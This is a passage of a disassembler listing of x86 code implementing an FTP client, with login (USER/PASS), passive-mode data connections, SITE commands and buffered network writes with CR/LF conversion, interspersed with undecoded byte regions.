eax add esp, 0Ch test edi, edi jz short loc_42CF56 mov eax, [esp+11Ch+var_104] jmp short loc_42CEC0 ; --------------------------------------------------------------------------- loc_42CF1A: ; CODE XREF: sub_42CE80+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx call near ptr 77C371FAh nop add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax call near ptr 77C47A90h nop add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF51: ; CODE XREF: sub_42CE80+7Dj mov edi, 1 loc_42CF56: ; CODE XREF: sub_42CE80+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF63: ; CODE XREF: sub_42CE80+19j ; sub_42CE80+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42CE80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CFC0: ; CODE XREF: ___:00401410j mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42D06F ; default jmp off_42D074[eax*4] ; switch jump loc_42CFD7: ; DATA XREF: ___:off_42D074o mov eax, [esp+8] ; jumptable 0042CFD0 case 0 cmp eax, 1 jz short loc_42CFE9 cmp eax, 2 jnz loc_42D06F ; default loc_42CFE9: ; CODE XREF: ___:0042CFDEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42CFF8: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D00B: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o push esi ; jumptable 0042CFD0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42D04C: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D05F: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42D06F: ; CODE XREF: ___:0042CFCAj ; ___:0042CFE3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r dd offset loc_42CFF8 ; jump table for switch statement dd offset loc_42D00B dd offset loc_42D04C dd offset loc_42D05F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D0D0 proc near ; CODE XREF: sub_402243j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov edi, dword_50FA60 push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42D13D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42D1A0 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D161: ; CODE XREF: sub_42D0D0+1Bj ; sub_42D0D0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42D0D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p ; sub_42D0D0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42D1C3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D1C3: ; CODE XREF: sub_42D1A0+15j mov eax, dword_50E3DC mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42D1EC mov eax, dword_50FA84 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax nop call near ptr 77C40E13h add esp, 0Ch loc_42D1EC: ; CODE XREF: sub_42D1A0+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42D20C pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D20C: ; CODE XREF: sub_42D1A0+60j push esi lea ecx, [esp+110h+var_100] push offset dword_443CE4 push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_436F00 sub_42D1A0 endp ; --------------------------------------------------------------------------- db 85h dd 681A7FC0h, 4454BCh, 9BA4E890h, 0C4837780h, 5FC03304h dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42D2C0 proc near ; CODE XREF: sub_401F55j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42D30C cmp edi, 4 jz short loc_42D2E6 cmp edi, 3 jnz short loc_42D30C loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj ; sub_42D2C0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_50FA60 push ecx lea edx, [esp+114h+var_100] push offset dword_445504 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42D1A0 add esp, 18h test eax, eax jz loc_42D4CE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42D4BF ; default jmp off_42D4DC[eax*4] ; switch jump loc_42D358: ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454FC ; jumptable 0042D351 case 1 mov dl, byte_445500 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D373: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov eax, dword_4454F4 ; jumptable 0042D351 case 2 mov cl, byte_4454F8 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D38D: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov edx, dword_4454EC ; jumptable 0042D351 case 3 mov al, byte_4454F0 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D3A7: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454E4 ; jumptable 0042D351 case 4 mov dl, byte_4454E8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j ; sub_42D2C0+CBj ... test esi, esi jz short loc_42D413 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42D4CE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42D413: ; CODE XREF: sub_42D2C0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42D580 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42D4CE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42D468 mov eax, [esi] push eax call sub_401BDB add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D468: ; CODE XREF: sub_42D2C0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42D4AF mov eax, [esi] push ebx push eax call sub_42DA60 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42D4AF mov ecx, [esi] push ecx call sub_401BDB add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j ; sub_42D2C0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj ; sub_42D2C0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42D2C0 endp ; --------------------------------------------------------------------------- align 4 off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r dd offset loc_42D373 ; jump table for switch statement dd offset loc_42D38D dd offset loc_42D3A7 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42D8A4 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42D5E2 cmp eax, 2 jz short loc_42D5E2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D5E2: ; CODE XREF: sub_42D580+3Aj ; sub_42D580+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42D614 cmp eax, 49h jz short loc_42D614 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D614: ; CODE XREF: sub_42D580+6Cj ; sub_42D580+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42D6F9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42D1A0 add esp, 0Ch test eax, eax jz loc_42D8A4 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42D8A4 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_436F3C ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42D6F9: ; CODE XREF: sub_42D580+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_436F2A ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44557068h, 96D8E800h, 83907780h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44544068h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh, 90004455h dd 809625E8h, 4C48377h, 9730E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44554468h, 0DEE85200h, 90778120h dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44543868h dd 57E89000h, 83778095h, 0E85704C4h, 9662h ; --------------------------------------------------------------------------- loc_42D8A4: ; CODE XREF: sub_42D580+2Bj ; sub_42D580+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42D580 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h dd 75144689h, 5438682Ch, 0E8900044h, 77809516h, 5704C483h dd 9621E8h, 0E8905600h, 777FE92Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42DAA2 mov ecx, eax loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_436F12 sub_42DA60 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DC70 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42DC81 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DC81: ; CODE XREF: sub_42DC70+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DC9D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42CC50 add esp, 0Ch jmp short loc_42DCC4 ; --------------------------------------------------------------------------- loc_42DC9D: ; CODE XREF: sub_42DC70+17j call sub_42CE80 add esp, 4 cmp eax, 1 jz short loc_42DCAF pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCAF: ; CODE XREF: sub_42DC70+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DCD0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCD0: ; CODE XREF: sub_42DC70+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42DD0F mov eax, [esi+3Ch] test eax, eax jz short loc_42DD0F push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42DD0F mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42DD08 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DD08: ; CODE XREF: sub_42DC70+93j mov dword ptr [esi+40h], 0 loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj ; sub_42DC70+76j ... mov eax, edi pop edi pop esi retn sub_42DC70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DD50 proc near ; CODE XREF: sub_4021F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42DD61 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DD61: ; CODE XREF: sub_42DD50+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DD7D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DE20 add esp, 0Ch jmp short loc_42DD9A ; --------------------------------------------------------------------------- loc_42DD7D: ; CODE XREF: sub_42DD50+17j call sub_42CE80 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_436F00 ; --------------------------------------------------------------------------- loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DDA6 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42DDDC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42DDDC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42DDDC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42DDDC: ; CODE XREF: sub_42DD50+63j ; sub_42DD50+6Aj ... mov eax, edi pop edi pop esi retn sub_42DD50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p ; sub_42DFD0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42DE3C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42DE3C: ; CODE XREF: sub_42DE20+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42DF64 loc_42DE4D: ; CODE XREF: sub_42DE20+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42DE8E cmp al, 0Dh jz short loc_42DE8E cmp esi, 2000h jnz short loc_42DE89 push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DEF1 xor esi, esi loc_42DE89: ; CODE XREF: sub_42DE20+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42DE8E: ; CODE XREF: sub_42DE20+35j ; sub_42DE20+39j cmp esi, 2000h jnz short loc_42DEBC push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DF11 xor esi, esi loc_42DEBC: ; CODE XREF: sub_42DE20+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42DE4D test esi, esi jz loc_42DF64 push ebp call sub_42CE80 add esp, 4 test eax, eax jnz short loc_42DF31 loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej ; sub_42DE20+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DEF1: ; CODE XREF: sub_42DE20+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF11: ; CODE XREF: sub_42DE20+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF31: ; CODE XREF: sub_42DE20+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_436F00 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h, 90004455h dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42DF64: ; CODE XREF: sub_42DE20+27j ; sub_42DE20+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42DE20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DFD0 proc near ; CODE XREF: sub_401BDBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42E04B dec eax jz short loc_42E000 dec eax jz short loc_42DFEC loc_42DFE4: ; CODE XREF: sub_42DFD0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42DFEC: ; CODE XREF: sub_42DFD0+12j mov eax, [esi+14h] test eax, eax jz short loc_42E000 push esi push 0 push 0 call sub_42DE20 add esp, 0Ch loc_42E000: ; CODE XREF: sub_42DFD0+Fj ; sub_42DFD0+21j mov eax, [esi+14h] push ebx mov ebx, dword_50FAC4 test eax, eax jz short loc_42E014 push eax call ebx ; free add esp, 4 loc_42E014: ; CODE XREF: sub_42DFD0+3Cj mov eax, [esi+8] push 2 push eax call sub_436F9C ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_436F06 ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42DFE4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42CB10 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E04B: ; CODE XREF: sub_42DFD0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42E062 push esi mov dword ptr [esi+1Ch], 0 call sub_401BDB add esp, 4 loc_42E062: ; CODE XREF: sub_42DFD0+80j mov edx, [esi+8] push edx call sub_436F06 sub_42DFD0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0A9h, 0E1h ; --------------------------------------------------------------------------- jg short loc_42E0E9 add esp, 4 xor eax, eax pop edi pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E0B0: ; CODE XREF: ___:00401CE4j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E0D9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E0D9: ; CODE XREF: ___:0042E0D0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax call near ptr 77C3F931h loc_42E0E9: ; CODE XREF: ___:0042E070j nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax 